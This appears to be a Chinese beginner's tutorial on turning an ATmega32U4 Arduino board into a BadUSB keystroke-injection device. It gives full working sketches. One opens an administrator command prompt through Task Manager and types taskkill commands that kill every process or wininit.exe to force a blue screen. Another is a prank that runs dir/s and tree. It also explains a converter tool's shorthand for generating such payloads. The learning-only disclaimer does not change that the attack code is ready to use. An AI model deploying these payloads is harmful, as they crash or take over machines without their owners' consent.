说明
本文章仅供学习交流,请勿用于非法用途
我用的是CJMCU-Beetle arduino Leonardo USB ATMEGA32U4 Mini Size Development Board
程序编写工具 /download/weixin_45447477/16617234(使用教程在下面)
官网购买地址 /cjmcu-beetle-arduino-leonardo-usb-atmega32u4-mini-size-development-board-35975
软件-Arduino
Kali下自带
Windows下 官网下载地址 /arduino-1.8.13-windows.exe
开始制作
打开Arduino
在工具中择开发板 ‘Arduino Leonardo’
然后选择端口
然后就可以编写程序了
接下来是一些示例
1.蓝屏
#include <Keyboard.h>void setup() {Keyboard.begin(); //开始delay(2000); //等待两秒Keyboard.press(KEY_LEFT_CTRL); //按下左边的Ctrl键Keyboard.press(KEY_LEFT_SHIFT); //按下左边的Shift键Keyboard.press(KEY_ESC); //按下ESC键Keyboard.releaseAll(); //松开所有按下的键(Ctrl,Shift,ESC)//以上代码执行结果: 打开任务管理器delay(500); //等待0.5秒 作用: 等待任务管理器启动Keyboard.press(KEY_LEFT_ALT); //按下左边的Alt键Keyboard.press('f'); //按下f键Keyboard.release('f'); //松开f键Keyboard.press('n'); //按下n键Keyboard.releaseAll(); //松开所有(n,Alt)delay(500); //等待0.5秒 作用: 等待运行的启动Keyboard.press(KEY_TAB); //按下Tab键Keyboard.release(KEY_TAB); //松开Tab键Keyboard.press(' '); //按下空格键Keyboard.release(' '); //松开空格键//以上代码执行结果: 打开任务管理器中文件->运行新任务->勾选以管理员权限创建此任务//(提示: 如果觉得很迷惑,按上面代码自己操作一下就明白了)Keyboard.press(KEY_CAPS_LOCK);Keyboard.release(KEY_CAPS_LOCK); //利用CapsLock绕过输入法Keyboard.println("cmd"); //在运行中输入cmd,由于按下了CapsLock所以实际上输入的是CMDdelay(500); //等待0.5秒 作用: 等待cmd的启动Keyboard.println("taskkill /f /fi \"pid ne 1\""); //在cmd中输入蓝屏指令Keyboard.println("taskkill /f /im wininit.exe"); //指令2(其实一个就够了)Keyboard.press(KEY_CAPS_LOCK);Keyboard.release(KEY_CAPS_LOCK);Keyboard.end(); //结束}void loop() {// put your main code here, to run repeatedly:}
2.dir/s和tree C:(一个很酷炫的东西) 加上LED闪烁
#include <Keyboard.h>void setup() {pinMode(13, OUTPUT); //这行加上void loop()下面都是LED闪烁Keyboard.begin();delay(2000);Keyboard.press(KEY_LEFT_GUI);Keyboard.press('r');Keyboard.releaseAll();//以上三行: 打开运行delay(500);Keyboard.press(KEY_CAPS_LOCK);Keyboard.release(KEY_CAPS_LOCK);Keyboard.println("cmd");delay(500);Keyboard.press(KEY_F11);Keyboard.release(KEY_F11);//以上两行: 全屏(Win10有效)Keyboard.println("color 4");Keyboard.println("dir/s");Keyboard.println("tree d:");Keyboard.press(KEY_CAPS_LOCK);Keyboard.release(KEY_CAPS_LOCK);Keyboard.end();}void loop() {digitalWrite(13, HIGH);delay(300); //点亮时间digitalWrite(13, LOW);delay(300); //熄灭时间}
写入到BadUSB
点击有向左箭头的按钮即可写入
看到上传成功字样就大功告成了!
注意: 上传后BadUSB会立即执行一遍代码
编写工具使用教程
工具下载地址在文章开头
拿前面的蓝屏的示例来说:
只需在一个名为file.txt的文本文档中输入:
\2000=lc=ls=esc--\500=la=f-f=n--\500=tab= - =clk-clkcmd\500taskkill /f /fi \"pid ne 1\"taskkill /f /im wininit.exe=clk-clk
总结:
= 【+要按下的键】- 【+要松开的键】-- 松开全部\ 【+等待时间】直接输的话是输入按键列表(一般都是开头字母除非只有一个单词如enter):'lc':'LEFT_CTRL''ls':'LEFT_SHIFT''la':'LEFT_ALT''rcl':'RIGHT_CTRL''rs':'RIGHT_SHIFT''ra':'RIGHT_ALT''clk':'CAPS_LOCK''tab':'TAB''bs':'BACKSPACE''lwin':'LEFT_GUI''rwin':'RIGHT_GUI''esc':'ESC''enter':'RETURN' //return就是enter'del':'DELETE'
编写完成后,将工具与file.txt放在同一目录下,运行工具,生成的file.ino就是可运行的badusb程序,如果没有的话刷新一下就好了
创作不易,点个赞再走呗
如果觉得《BadUSB制作教程_BadUSB简单示例(初学)_程序编写工具》对你有帮助,请点赞、收藏,并留下你的观点哦!